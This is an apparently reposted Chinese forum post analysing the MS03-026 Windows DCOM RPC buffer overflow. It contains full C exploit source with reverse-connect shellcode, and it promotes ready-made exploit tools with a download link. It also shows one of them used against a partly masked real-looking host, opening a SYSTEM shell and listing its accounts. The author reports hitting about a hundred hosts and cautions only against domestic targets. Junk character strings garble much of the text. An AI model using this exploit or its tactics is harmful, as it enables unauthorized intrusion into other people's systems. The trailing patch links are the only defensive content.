LSD RPC 溢出漏洞之分析

ASEE

作者：FLASHSKY 作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM ; E9 U- f+ n7 d邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 感谢BENJURRY做测试，翻译和代码的通用化处理。 0 B3 n6 a, p6 A' a1 x! d邮件：benjurry@xfocus.org 8 D" U6 e7 ]' T* g! T3 D/ I! f ; {! X. E' I$ y, wLSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); , x K$ y% f, @7 W( \这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： 问题代码如下： GetPathForServer： 3 f0 I7 J, a$ S" X; c! v4 U0 i.text:761543DA push ebp 9 B& `1 H: |5 w- Q* P# z.text:761543DB mov ebp, esp $ R5 c6 Q( }8 m8 r.text:761543DD sub esp, 20h <-----0x20空间 .text:761543E0 mov eax, [ebp+arg_4] ( L: q2 }$ N9 }6 ^ F+ D- ^.text:761543E3 push ebx .text:761543E4 push esi .text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi .text:761543E9 push 5Ch 0 N4 W" h8 \ e.text:761543EB pop ebx .text:761543EC mov [eax], esi .text:761543EE cmp [esi], bx ; e S( Y) B% g7 E0 E6 O$ |3 B.text:761543F1 mov edi, esi : T. D$ b* Z" v! D) v.text:761543F3 jnz loc_761544BF / C4 f; z0 t; r.text:761543F9 cmp [esi+2], bx .text:761543FD jnz loc_761544BF .text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 / A# d) |" L9 B P.text:76154406 push 0 .text:76154408 push eax 7 x/ `+ M# [5 O' @/ p2 u; a.text:76154409 push esi 〈----------------------我们传入的文件名参数 0 P$ g8 C/ h$ \* u+ O" s0 M7 J.text:7615440A call GetMachineName . _/ g+ o9 [/ A7 G0 n。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 $ U* `. \/ v! d! z, ? GetMachineName: .text:7614DB6F mov eax, [ebp+arg_0] .text:7614DB72 mov ecx, [ebp+arg_4] ! S h+ i9 A$ i' _# E2 s( Z.text:7614DB75 lea edx, [eax+4] & U4 D6 f% f, t0 m, d$ X$ J6 L3 h.text:7614DB78 mov ax, [eax+4] .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C ( c& E v* [0 u# D) W' R.text:7614DB80 jz short loc_7614DB93 2 |- s) { c1 Q2 \3 Y.text:7614DB82 sub edx, ecx 6 q& {! b- ~0 h/ Z1 o.text:7614DB84 3 r. x# y2 ^3 V/ v+ w.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j + ~4 ^0 ]8 ^* c.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 .text:7614DB87 inc ecx $ R* Q8 Y1 \2 D* J4 ?. @- j.text:7614DB88 inc ecx ) X/ @ }2 }- e8 t0 a# G; o.text:7614DB89 mov ax, [ecx+edx] 4 P% J- O6 p& @& j! c+ e4 t6 t. ^.text:7614DB8D cmp ax, 5Ch .text:7614DB91 jnz short loc_7614DB84 .text:7614DB93 6 Q- g) {) d5 ^6 E) } OK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 6 b; A" b+ w! w8 K% x2 \& b: H下面就给出一个实现的代码，注意点如下： # {. D7 K* b* [1 b; u h: M% W. R8 t1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 . V- r* Q7 j" ~% \需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 - y$ }/ b* }- g+ `2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 + R3 t) K; c" u3 `$ ]4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 2 J: {# L6 m! _. ^* i9 y% a6 W, b # W. M9 g W3 F#include #include & a" p# O$ I7 T/ K0 d. Y5 V#include #include + h( s( ^6 W5 z, J! H#include #include unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 5 I2 P. F. q3 G0 _" P0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 9 x- A( v1 @* q. {9 z# @, j0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 + ^6 e, q+ h4 j( I" X& [,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 + L/ f: @+ x( v7 Q2 _,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 : I- a) v! b2 ?9 [,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 " T) O! i5 i' ]& Y: K- M% |: W,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 2 W6 w; l. {( H: B5 j,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ! I" I5 i) r' b; u c,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 % {; q/ u2 R; P# q% T,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 - ?* Y' j$ K' V9 R: }, ^& a3 z,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 4 B9 O) F: a6 Y1 \) x. X# M,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 , P' x! _5 l# \1 e* w3 W1 ]* K,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 $ k$ }. ~7 h! t+ e4 D! y0 A i7 z) ],0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 * q! ~0 V: `( \# n+ K v,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 - d1 d+ ^5 @1 ]7 b9 e,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 $ `3 d* ^9 R$ x,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 * r6 I4 `$ S! b* @8 ?$ o,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ; L! y* r( ]2 R3 p9 |,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 1 t/ _7 k$ z$ ~2 J. |+ N% T,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 " F$ h( k# R9 S$ P,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF 1 }0 s$ z4 B5 j9 c5 P,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 $ r2 Z5 ^" a- w+ O( i5 H u* [1 k7 a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 & _) I: U4 L- A f I,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 % ?4 u2 b6 A+ z,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 % U1 o- O @2 s* w( D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 4 d3 v) e0 l% {; E% F; O4 |" l,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ! ~& ?, Z s8 `) W,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 2 K6 p! i$ h1 K,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 0 M& }4 F* O! L1 k8 q,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 2 p- w8 j, ^+ ~; G; H,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 8 p) D9 H1 v7 R% [,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 8 L* G8 Z8 M0 N. Q) n& },0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; unsigned char request2[]={ ( r3 _9 C8 }7 E0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 1 e" K' W4 Q0 `) F) Q/ O,0x00,0x00,0x5C,0x00,0x5C,0x00}; 6 ~0 T$ z! I* z ( `5 x o9 k) _+ {( F. c0 Wunsigned char request3[]={ $ `3 }% O" F4 S5 u4 U0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 $ N4 ~2 f, w" f% n( X+ X& G* d7 h,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; 5 k" d; S- Q1 u7 } unsigned char sc[]= 3 G: e( Z6 r2 M6 {1 s"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00" "\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 ' A1 B4 Q, K# B6 ~8 o7 N//SHELLCODE不存在0X00，0X00与0X5C 8 ^6 i. I; b' |2 H6 S: c"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" 1 \% X- X# `" D! n( x"\x93\x40\xe2\xfa" 0 e! s7 V0 C- t0 N: N1 ]" \// code % I9 N, Z# }; @0 ?+ a+ S"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" 7 u" u9 b) E) _6 ]1 F% k"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" 6 p3 E- R9 q0 O" M- [2 J9 _+ }"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" , d- `; ?9 r- k' U/ q"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" $ d# W9 I& D! r; l9 {"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" 0 M7 \( W* e& Q1 q+ V: {5 {4 A"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" . D- P- a* F- n1 w"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" ( @8 \! M' y: B) S6 r3 l"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" # D3 i) v6 T3 }/ t* e* l, p"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" - Y% O- \3 a, z9 R) h" {"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" ; O( |, W: V$ _2 u6 L( I! c"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" 9 n3 c, t" s1 B. }. e/ ~"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" : j# ] B$ f' e7 n1 G+ h"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" ; U3 R- H( A8 [ d* B8 U" U* a8 J"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" 3 Y0 ?* Z0 ^9 x' T( ^"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char request4[]={ ; P) h7 c. {( ^8 l3 q" v' a4 u: ~0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ! N/ V/ E1 `" e U6 j/ u,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; , V$ c. Y1 r& Q/ x* P void main(int argc,char ** argv) 7 v+ E# e g3 m9 Q7 X# Z8 D. d{ 1 o9 t0 e1 d2 X7 ~6 PWSADATA WSAData; SOCKET sock; ' i3 |' D7 `, T) d( [* v* e- T ~int len,len1; SOCKADDR_IN addr_in; - K6 }" a$ F& b/ ?9 qshort port=135; 7 Q# ~ d8 J9 k, Z* |; kunsigned char buf1[0x1000]; |7 ~+ \4 ]4 k; U3 S; L, o8 Munsigned char buf2[0x1000]; unsigned short port1; 1 x3 F+ r" S$ rDWORD cb; if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { , B4 N: g/ `6 ^; vprintf("WSAStartup error.Error:%d\n",WSAGetLastError()); 0 b7 c. X3 P" S9 A+ U4 t ireturn; } # l5 R3 C* s, o8 a+ v* n9 V Oaddr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); * A5 q* R- _1 U. w" R( L- Qaddr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); " j& K& E4 V+ p if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:%d\n",WSAGetLastError()); 1 m. y. x) a6 x5 t% a3 @8 d* Yreturn; } if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { ( F3 W- n9 M, b: tprintf("Connect failed.Error:%d",WSAGetLastError()); 8 U* `- ^$ h3 Y/ @return; } 3 Z% Y: {2 W1 D) fport1 = htons (2300); //反向连接的端口 * }2 A, w: p+ ?: G7 Q$ Sport1 ^= 0x9393; cb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， cb ^= 0x93939393; *(unsigned short *)&sc[330+0x30] = port1; ! `1 ~3 i- G& ^- A*(unsigned int *)&sc[335+0x30] = cb; len=sizeof(sc); 9 Q0 |! E: l7 O' P; Pmemcpy(buf2,request1,sizeof(request1)); ! W4 |$ M+ m5 q$ d6 m+ Q/ P* tlen1=sizeof(request1); 7 k- m, p! Q, i, E" K*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 , L; V& F! |$ G# ~*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); ( l* `, {6 D. Ylen1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); 6 I# q% L) Q: `* ?, o* e- Qlen1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); + j% O3 X4 M' B; c2 klen1=len1+sizeof(request4); 1 P0 R0 G/ l0 E( e0 N7 e*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; : ?& d) d7 n7 x5 u//计算各种结构的长度 / p7 W. \# R9 g0 I8 R" ^*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; 8 I! ~' O8 S+ M/ J* s7 v*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; 7 q8 \0 z1 e B' t# S*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; * _- M$ @# c: a: W; c8 C*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; $ c$ K4 d5 t4 r9 q( ^2 I6 O9 E*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) ' T4 F2 Y0 `8 O: E( @{ , L* Q: Q7 E, s [3 g" n. t: Vprintf("Send failed.Error:%d\n",WSAGetLastError()); 0 M1 f- L% W# F; z7 c, z1 M. x- Z1 mreturn; / N& P _# r0 C3 C7 A} 8 r5 h" l$ `8 M: nlen=recv(sock,buf1,1000,NULL); if (send(sock,buf2,len1,0)==SOCKET_ERROR) { ' [' l1 f3 c& a; t: Lprintf("Send failed.Error:%d\n",WSAGetLastError()); return; 2 K* T# H, p, D9 O7 ?8 v2 L} len=recv(sock,buf1,1024,NULL); - p, x7 V# J& I; F n! A} 补丁机理： 2 Y8 O5 Z5 {$ ?, B2 u补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 补记： 由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 chdcom针对以下版本: . i2 |1 A- o r6 F0 `6 E- 0 Windows xp SP1 (cn) - 1 Windows 2000 SP3 (cn) . [3 H: C2 Z9 Z0 ^$ i- 2 Windows 2000 SP4 (cn) - 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) / k$ X9 G+ g3 \! `9 u- 6 Windows XP SP1 (english) ; ]8 P- z# J: |9 xUsage: chdcom 6 \, B) s$ y9 Y7 \8 e qcedcom针对以下版本: 9 b- {+ n% Q& g5 `- 0 Windows 2000 SP0 (english) 0 j: B |* |$ @- 1 Windows 2000 SP1 (english) 0 z# U9 c( D# V$ K3 Y- 2 Windows 2000 SP2 (english) . F. j' W, L5 ?0 T- 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) 3 d6 }7 w5 ?" a7 S, R7 d5 b- 5 Windows XP SP0 (english) 3 |( c9 `; V# a7 d- 6 Windows XP SP1 (english) Usage: endcom cygwin1.dll应用程序扩展 溢出目标IP前.先用扫描器扫描开135端口的肉机. 我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， 比如说目标69.X.173.63开了135端口.Target ID是4 . W1 {# f, T) y* U O5 b% iC:\dcom>chdcom 4 69.X.173.63 / s8 }5 w, `: a" a--------------------------------------------------------- 9 f ?+ x C: D" ^3 v- Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry - Rewritten by HDM last - last by nic -Compiled and recorrected by pingker! ) r L' B5 d C2 W, ~& z% M. t3 Q- Using return address of 0x77f92a9b - Dropping to System Shell... , @9 s% W' K: T7 Z* H" Q( RMicrosoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. " \$ s3 A' B( `% y& _( c5 {/ E C:\WINNT\system32> # b* [1 @0 `2 e- Y0 k成功溢出. 3 c( D% T6 Y) eC:\WINNT\system32>net user : A1 e/ P* E; ?3 M% k' J4 d. d/ \net user # I D) a& R7 _2 P3 r1 E R8 A" e( J. eUser accounts for \ ---------------------------------------------------------------------------- . s9 m) L6 q H; k& s1 v! X--- Administrator ASPNET billbishopcom 1 F) W; e- x- p% Sdivyanshu ebuyjunction edynamic1 - E; v G0 n% b" _/ Tedynamic2 Guest infinityaspnet 6 }$ u1 ` b n# Sinfinityinformations IUSR_DIALTONE IUSR_NS1 : D3 u) u0 j1 s& l* QIWAM_DIALTONE IWAM_NS1 SQLDebugger TsInternetUser WO The command completed with one or more errors. 这样一来你想干什么就是你的事了. 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 重启才行. CN可以是繁体或简体中文颁本. ; O" A% e/ X/ v" i# b再次警告:不要对付国内主机!!!!!后果自负!!!! % F4 d+ j) u) x1 p5 H& n4 PXDcom.rar远程溢出攻击程序下载: http://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
Windows NT 4.0 Server ：
- V$ M8 n: Q# ^/ e0 O" @0 L
0 S* }* }  [6 a9 e" Vhttp://microsoft.com/downloads/d ... &displaylang=en

1 k* K" V6 I# m5 c; uWindows NT 4.0 Terminal Server Edition：
8 C! _# u' r/ q) g5 Q- p' g  y
6 `. r; d+ x1 E4 S  U/ ]8 b( z  K; G. [http://microsoft.com/downloads/d ... &displaylang=en

! |- h' t  A/ g, h/ pWindows 2000：
9 w3 O- P6 C4 J3 [: u
http://microsoft.com/downloads/d ... &displaylang=en
3 f4 I  b/ n$ `$ b/ u& J（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
